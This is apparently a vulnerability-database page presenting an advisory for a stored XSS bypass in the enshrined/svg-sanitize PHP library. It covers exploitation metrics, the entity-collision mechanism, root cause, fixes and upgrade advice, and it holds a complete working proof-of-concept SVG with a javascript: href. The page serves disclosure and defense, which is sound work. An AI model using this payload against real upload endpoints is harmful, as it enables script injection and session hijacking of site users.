enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference CollisionGHSA-9rjx-3jch-6vjf
MEDIUMFix: darylldoyle/svg-sanitizer@23877dbGHSA-9rjx-3jch-6vjf is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in enshrined/svg-sanitize. A fix is available for enshrined/svg-sanitize — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9rjx-3jch-6vjf.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-9rjx-3jch-6vjf by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
enshrined/svg-sanitizeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).
This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.
Affected installations:
- enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
- WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes)
- TYPO3, Drupal and 90+ other Packagist dependents
Vulnerability Details
Mechanism
-
Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
<!ENTITY Tab "#">In XML,
	expands to the literal string"#"(from the DTD definition). In HTML5,	is a Named Character Reference that resolves to U+0009 (TAB character). -
The SVG uses this entity in an href:
<a href="	javascript:alert(document.domain)"> -
During sanitization (XML context):
	→"#"→ the sanitizer seeshref="#javascript:alert(document.domain)"→ starts with#→isHrefSafeValue()returns TRUE → passes through. -
Sanitizer output:
saveXML()outputs the entity reference	(not the expanded value), and strips the DOCTYPE declaration. -
In the browser (HTML5 context): Without the DOCTYPE,
	is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace →javascript:alert(document.domain)executes.
Root Cause (Sanitizer.php)
// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
if ('#' === substr($value, 0, 1)) {
return true; // Fragment identifier — "safe"
}
// ...
}
// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts
Proof of Concept
Malicious SVG (xss.svg)
<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
Sanitizer processing
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;
Output:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the 	 entity reference is preserved.
Browser exploitation
Embed the sanitized SVG inline in HTML:
<div class="svg-container">
<!-- sanitized SVG output inserted here -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
</div>
Clicking the red rectangle executes alert(document.domain).
Confirmed: Chrome 148. PoC file: XSS_CONFIRMED_POC.html
Exploitable Named Character References
Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:
	→ U+0009 (Horizontal Tab)
→ U+000A (Line Feed)
These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.
Impact
Stored XSS
- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
- SVG passes sanitization — sanitizer reports no issues
- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
- Account takeover:
document.cookie,fetch('/wp-admin/...'), session hijacking
Context requirement
The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios:
- WordPress themes that
echo file_get_contents($svg_path)for inline SVG rendering - WordPress block editor SVG preview
- Any web application rendering svg-sanitize output directly in HTML
Standalone <img src="...svg"> is NOT affected (browser uses XML parser, 	 without DOCTYPE = XML parse error).
CVSS
CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
With session stealing / admin takeover chain: effective severity High.
Suggested Fix
Option 1: Strip DOCTYPE before parsing (recommended)
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);
Eliminates entity definitions entirely. No DTD entities = no collision.
Option 2: Validate href after serialization
$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)
Option 3: Expand entities before validation
Validate getAttribute() return value AND the serialized form:
$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme
Environment
- enshrined/svg-sanitize 0.22.x
- Chrome 148 (confirmed XSS execution)
- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)
Reported by ExPatch Security Research — expatch.llc Denis Rostilov
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | enshrined/svg-sanitize | all versions | 1.0.0composer require enshrined/svg-sanitize:^1.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for enshrined/svg-sanitize, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update enshrined/svg-sanitize to 1.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9rjx-3jch-6vjf is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-9rjx-3jch-6vjf in your dependencies?
Find it across Packagist, including transitive dependencies.